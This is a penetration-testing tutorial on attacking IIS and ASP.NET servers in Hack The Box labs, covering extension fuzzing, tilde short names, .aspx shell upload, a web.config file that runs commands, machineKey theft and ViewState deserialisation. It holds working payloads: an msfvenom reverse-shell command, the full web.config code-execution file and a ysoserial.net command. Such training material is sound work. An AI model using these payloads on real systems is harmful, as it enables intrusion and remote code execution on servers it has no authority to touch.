IIS and ASP.NET pentesting: web.config, .aspx shells and ViewState

Attacking an IIS server step by step: spot ASP.NET, fuzz with the right extensions, tilde short names, upload an .aspx shell or a web.config, read the machineKey and exploit ViewState.

· 5 min read

When a Windows box has a website, it is almost always IIS, Microsoft's web server, running ASP.NET applications. You attack it differently from Apache with PHP: the extensions that run code are different, there is one config file (web.config) that controls everything, and there is a design weakness of its own, ViewState, which turns into code execution with the right key.

The bare minimum

  • Extensions that run code on IIS: .aspx, .ashx, .asmx (ASP.NET) and .asp (classic ASP). If you can upload or write one of them into the web root, you have a shell.
  • web.config is the application's configuration. It may hold connection strings with passwords and the machineKey, the key that signs and encrypts ViewState.
  • ViewState is a hidden field (__VIEWSTATE) holding the page's serialised state. If you know the machineKey, you can forge a malicious one that the server deserialises: code execution.
  • Your shell will run as IIS APPPOOL\<name>, which nearly always has SeImpersonatePrivilege.

Requirements

  • ffuf or gobuster and SecLists.
  • shortscan for short names: go install github.com/bitquark/shortscan/cmd/shortscan@latest.
  • Kali's webshells in /usr/share/webshells/aspx/ and msfvenom.
  • A Windows VM (or a session on the target) for ysoserial.net if you get to ViewState.
  • To practise: Devel and Bounty (easy) and POV (medium).

Step 1: spot IIS and ASP.NET

curl -sI http://10.10.10.93/
HTTP/1.1 200 OK
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET

Other clues: the X-AspNet-Version header, the ASP.NET_SessionId cookie, __VIEWSTATE and __EVENTVALIDATION fields in forms, and pages ending in .aspx. The IIS version tells you the Windows version (7.5 is Windows 7 or Server 2008 R2; 10.0 is Windows 10 or Server 2016 onwards).

Step 2: fuzz with the right extensions

IIS is case-insensitive, so use lowercase lists and add Microsoft's extensions:

ffuf -u http://10.10.10.93/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt \
  -e .aspx,.asp,.ashx,.asmx,.config,.txt -ic
transfer.aspx           [Status: 200, Size: 941, Words: 89, Lines: 22]
uploadedfiles           [Status: 301, Size: 157, Words: 9, Lines: 2]

SecLists also ships an IIS-specific list: /usr/share/seclists/Discovery/Web-Content/IIS.fuzz.txt. The rest of the fuzzing options are in the directory and vhost fuzzing guide.

Step 3: tilde short names

For MS-DOS compatibility, Windows gives every file an 8.3 short name (TRANSF~1.ASP). Many IIS servers answer differently depending on whether a short name exists, which lets you guess the first characters of files no wordlist would ever find:

shortscan http://10.10.10.93/

The output lists the short names it found (for example TRANSF~1.ASP). With the prefix, run a targeted fuzz: ffuf -u http://10.10.10.93/transfFUZZ.aspx -w words.txt.

Step 4: upload a shell

If you find a way to write into the web root (an upload, FTP, a database that writes files), drop an .aspx:

cp /usr/share/webshells/aspx/cmdasp.aspx .
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f aspx -o shell.aspx
  • On Devel anonymous FTP writes into the IIS root: put shell.aspx and browse to http://10.10.10.5/shell.aspx. It is a 32-bit Windows there, so use windows/shell_reverse_tcp.
  • On Silo it is Oracle that writes the shell into the web root with UTL_FILE.

If the filter blocks .aspx (as on Hathor), try the other code-running extensions and the tricks in the file upload guide.

Step 5: when you can only upload a web.config

That is Bounty: transfer.aspx rejects .aspx but accepts .config. A web.config can turn itself into an ASP page that runs:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
  <system.webServer>
    <handlers accessPolicy="Read, Script, Write">
      <add name="web_config" path="*.config" verb="*" modules="IsapiModule"
           scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified"
           requireAccess="Write" preCondition="bitness64" />
    </handlers>
    <security>
      <requestFiltering>
        <fileExtensions><remove fileExtension=".config" /></fileExtensions>
        <hiddenSegments><remove segment="web.config" /></hiddenSegments>
      </requestFiltering>
    </security>
  </system.webServer>
</configuration>
<%
Set s = CreateObject("WScript.Shell")
Set c = s.Exec("cmd /c whoami")
Response.Write(c.StdOut.ReadAll())
%>

Upload it and open it (on Bounty, http://10.10.10.93/uploadedfiles/web.config):

bounty\merlin

Swap whoami for a PowerShell reverse shell.

Step 6: read the web.config

If you have a file read (LFI or path traversal), the first target on IIS is web.config. Try paths relative to the app (web.config, \web.config, ..\web.config) and the usual absolute one, C:\inetpub\wwwroot\web.config.

<machineKey decryption="AES" decryptionKey="<64 hex characters>"
            validation="SHA1" validationKey="<128 hex characters>" />

Look for connectionString entries with database credentials as well. On POV a download parameter only strips ../, so \web.config works and returns a machineKey like the one above. On Perspective you get it through server-side includes (SSI) in a .shtml file.

Step 7: ViewState with the machineKey

With the machineKey you forge a ViewState that runs your command when it is deserialised. From Windows, with ysoserial.net:

.\ysoserial.exe -p ViewState -g TextFormattingRunProperties `
  --path="/portfolio/default.aspx" --apppath="/" `
  --decryptionalg="AES" --decryptionkey="<decryptionKey>" `
  --validationalg="SHA1" --validationkey="<validationKey>" `
  -c "powershell -e <base64>"

The output is a long Base64 string. Intercept a POST request to that page in Burp and replace the __VIEWSTATE value with it (URL-encoded). If the command is a reverse shell, the connection comes in. More background on this family of bugs in insecure deserialisation.

Note

--path is the path of the page that processes the ViewState and --apppath is the application root. Get them wrong and the server rejects the ViewState with a validation error and nothing runs.

Common mistakes

  • 404.7 or 404.8 when requesting your file: IIS request filtering blocks that extension or segment (web.config is blocked by default). Hence the remove lines in Step 5.
  • 500 when opening the uploaded web.config: the XML has a syntax error or the classic ASP module is missing. Try it first without the <% %> block.
  • The msfvenom .aspx shell does not connect: wrong architecture. Try both x86 and x64, and check whether Defender deleted it.
  • Validation of viewstate MAC failed: --path, --apppath or the keys do not match the page. Copy the page's __VIEWSTATEGENERATOR and pass it with --generator instead of --path.
  • ysoserial.net will not run on Linux: it needs .NET Framework. Use a Windows VM or a session on the target itself.

What next

The application pool account nearly always has SeImpersonatePrivilege: carry on with SeImpersonate and potatoes. The web steps are in the web checklist.

Practise it on real machines

Hack The Box machines where this technique is used. Each ▶ jumps to the minute of the IppSec video where it shows up.

IIS and ASP.NET 9 machines

See all 9 machines →

Spotted a mistake or something missing? Tell us